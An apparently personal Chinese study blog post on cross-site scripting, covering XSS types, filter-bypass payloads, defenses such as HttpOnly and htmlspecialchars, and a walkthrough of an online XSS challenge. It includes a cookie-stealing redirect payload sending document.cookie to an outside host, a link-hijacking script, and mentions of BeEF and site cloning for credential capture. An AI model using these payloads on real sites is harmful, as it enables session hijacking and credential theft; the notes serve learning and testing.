[渗透测试]XSS注入

2020-02-23  本文已影响0人  yumiii_

看的是这个地方的视频:XSS注入权当入个门了,抓包工具也没装,手痒痒拿XSS闯关练了一下,感觉还是比SQL注入简单一点的。

XSS注入

XSS跨站脚本分类

跨站脚本攻击,为了不和CSS缩写混淆,所以缩写为XSS,恶意攻击者往往在web页面里插入恶意的script代码,当用户浏览该页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。
简单模型:
用户登录->攻击者将准备的URL提交给客户->用户请求攻击者的URL->服务器对攻击者的Jvascript作出回应->攻击者的javascript在用户的浏览器中执行->用户的浏览器向攻击者发送会话令牌(cookie)->攻击者劫持用户会话

<?php
echo $_GET["uname"];
?>

当用户访问url?uname=<scipt>alert("hello");</script>时,触发代码弹出对话框

XSS盗取cookie

cookie是web服务器保存在用户浏览器or客户端上的文件,包含了有关用户的信息。

#location重定向
url?uname=<script>document.location=http://ip/cookie.php?cookie="+document.cookie</script>

将链接发送到用户,用户点击即触发XSS漏洞,同时可以使用URL编码迷惑用户

XSS篡改网页链接

<script>
window.onload = function(){
    var link = document.getElementsByTagName("a");
    for(j=0;j<link.length;j++){
        link[j].href="http://attacker.site.com/";}
}
</script>

作用:可以篡改链接指向流量URL,刷流量,可以利用某些站点的重定向将上面的所有超链接都指向这个网站。
Beef进行恶意链接生产,以及利用hook.js执行其他命令

XSS盗取用户信息

原理:克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆,账号和密码被存储。
setookit工具克隆网站
window.location进行重定向

没有过滤的XSS

探测XSS过程:

属性中的XSS

配置chrome关闭XSS-Auditor,配置Chrome --args --disable-xss-auditor
XSS闭合引入事件:"onmouseover=alert(document.domain)>

隐藏参数中的XSS

HTML中svg介绍
svg意为可缩放矢量图形,使用XML格式定义图像,SVG文件可通过以下标签嵌入HTML文档:<embed>、<object>或者<iframe>,也可以使用svg标签插入<svg/事件="">
闭合触发XSS
"><svg onload=alert(document.domain)>%0a

限制输入长度的XSS

可以用python.len查看对应的字节数
html代码中标签有个maxlen属性可以更改前端限制的输入长度

javascript伪代码触发XSS

将js代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中,这个特殊的协议类型声明了URL的主体是任意的js代码,它由js的解释器运行,如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。例如

javascript:var now=new Date();"<h1>The time is:</h1>"+now;

Javascript URL还可以含有只执行动作,但不返回值的javascript语句。
javascript:alert("hello world")
payload伪协议触发XSS漏洞:javascript:alert(document.domain)
👆常常用在a标签里,需要点击才能触发
<a href="javascript:alert(document.domain)";>

绕过过滤domain为空的XSS

双写绕过:类似于SQL注入里的,dodomainmain:<script>alert(document.dodomainmain);</script>
编码绕过:把domain进行加密,例如

#引号中的是经过base64加密后的结果
<script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

绕过替换script和on时间的XSS

比如过滤了on事件,将其替换为onxxxx,<script>被替换为了<xscript>
解决方法:可以用tab、回车、换行、空格来欺骗浏览器,例如构造:

"><a href="javascr&#10;ipt:alert(document.domain);">1<a>

利用IE特性绕过XSS过滤:

IE特性:两个反引号``可以闭合一个左边双引号
构造payload:
``onmouseover=alert(document.domain)

利用CSS特性绕过XSS过滤:

CSS特性:background:url("javascript:alert(document.domian);");设置背景颜色
设置background:url,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已经不再支持
构造payload:

background-color:#f00;background:url("javascript:alert(document.domain);");

IE中利用CSS触发XSS

css中执行js

css expression(css表达式)又称dynamic properties,是早期微软DHTML的产物,以其可以在css中定义表达式来达到建立元素间属性之间的练习等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始取消对css expression的支持。
早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等,当然这些效果能够使用js实现。虽然css表达式问题很多,但是我们依然能够在网上看到他们的影子,甚至在一些成熟的商业网站上,最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)

注释绕过关键字过滤

利用的特性是CSS中的注释//,
绕过对关键字expression的过滤ex/
/pression

xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
#如果把window.x=1去掉,就会一直弹窗,只能用任务管理器强制关闭了

16进制绕过过滤触发XSS

16进制:0~9, A~F,可以用python的binascii.b2a_hex()方法将字符转换为16进制。

双斜杠+16进制绕过:将脚本进行16进制转义
payload:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
\\x3c表示<,\\x3e表示>

unicode绕过过滤触发XSS

unicode包括字符集、编码方案等,为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
双斜杠+unicode绕过:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

浏览器同源策略

由协议//主机名:端口号/组成,例如http://www.example.comhttps://www.example.com不是同源。
同源策略(协议、主机名、端口号必须完全一致):在计算机中,同源策略SOP用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。只有两个页面属于同一个源才能访问,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的。例如,源A页面要访问源B页面认证cookie,如果不加阻止读取cookie,会造成cookie欺骗绕过登陆验证。

IE源的特殊处理

document.domain

domain属性可以解决因同源安全策略带来的不同文档的属性共享问题。降域可以使用document.domain。
同源策略认为域和子域属于不同的域,如:
child1.a.com与a.com
child1.a.comchild2.a.com
xxx.child1.a.comchild1.a.com
两两不同源,可以通过设置document.domain='a.com',浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置document.domain='a.com'

cookie的HTTPONLY设置

当PHP脚本的setcookie("user","admin",NULL,NULL,NULL,NULL,TRUE)的最后一项设置为true时,就不能使用js获取cookie了

xss-filter过滤器

PHP中由htmlspecialchars()把预定义的字符转换为HTML实体,而不是作为一个标签作用于前端的元素
htmlentities()函数将一些特殊字符转换为HTML实体,例如输入<会转换为<
strip_tags()函数取出字符串中HTML、XML以及PHP的标签
自定义XSS filter:主要是用正则表达式过滤的,网上可以download下来直接用

编码转义介绍

URL编码

Url的设计者考虑到安全传输的问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(如中文),所以URL引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。

html编码

一些保留字符出现在文本节点和标签值里是不安全的。比如"<>"会导致浏览器误认为标签,如果想要正确的显示这些字符,需要使用html编码。

javascript编码

编码含义
浏览器对提交的编码进行自解析并执行,可以通过这种方式进行注入


XSS发生的位置

GET型,如果在URL中提交的参数值在页面中显示,很有可能存在XSS漏洞。
POST型表单中提交的参数值,如果在页面中显示也很有可能存在XSS。
json型数据,可以在value值中进行闭合并注入。
HTTP自定义头中提交的参数值,如果在页面中显示就很有可能存在XSS

XSS平台挑战

链接:http://test.ctf8.com/level1.php?name=test

1~4关是正常闭合再alert即可;
第5关,将on时间和script都进行了替换,试了一下加空格和大小写都没有用,百度了一下大佬们是加入了一个a标签,链接到document.domain了;
第6关,改一下大小写;
第7关,双写绕过过滤;
第8关,研究了一会也不会,百度了以下大家是用实体编码搞的,我翻了翻笔记用的这个,其实输入的地方会变成友情链接的href值,想着在这里注入就行。但是我还没懂这个编码,改天抽个时间出来研究研究。
javascr&#10;ipt:alert(document.domain)
第9关,原创 当黑客就入门 XSS-Lab第九关没懂,答案是
javascri&#x0070;t:alert(1)/*http://www.baidu.com*/
第10关,我一开始以为是改url里的参数,这一题其实是有属性type为hidden的元素,在这个地方注入,我其实是直接把type="hidden"这个地方改成了type="" onmouseover=alert(1) 😂这样我竟然对了,但是查了查别人写的,都是在URL里传参数&t_sort=123 " onclick="alert(1)"然后把这个地方改成type="text",至于那个控件传参数需要一个一个的试试。
第11关,大佬们说需要用burpsuite改,没装,不搞了,用10关我自己的方法蒙混过关了
第12关.瞅瞅network,是user-agent,不搞了
第13关,好像是cookie,咱也不知道是为啥,也不知道大佬们哪里搞来的PHP源码。。
第15关,不知道你懵没懵,反正我是瞎整过关了
这两个博客我都没看懂这关咋搞的:
XSS闯关挑战
XSS闯关笔记

突然意识到我改了人家的html代码,不弹窗才怪。。然后这个网站检测是否通过的方法就是弹窗,所以我才能通过,其实后几个题都没做对,肯定没注入成功。嗯傻了。。

上一篇 下一篇

猜你喜欢

热点阅读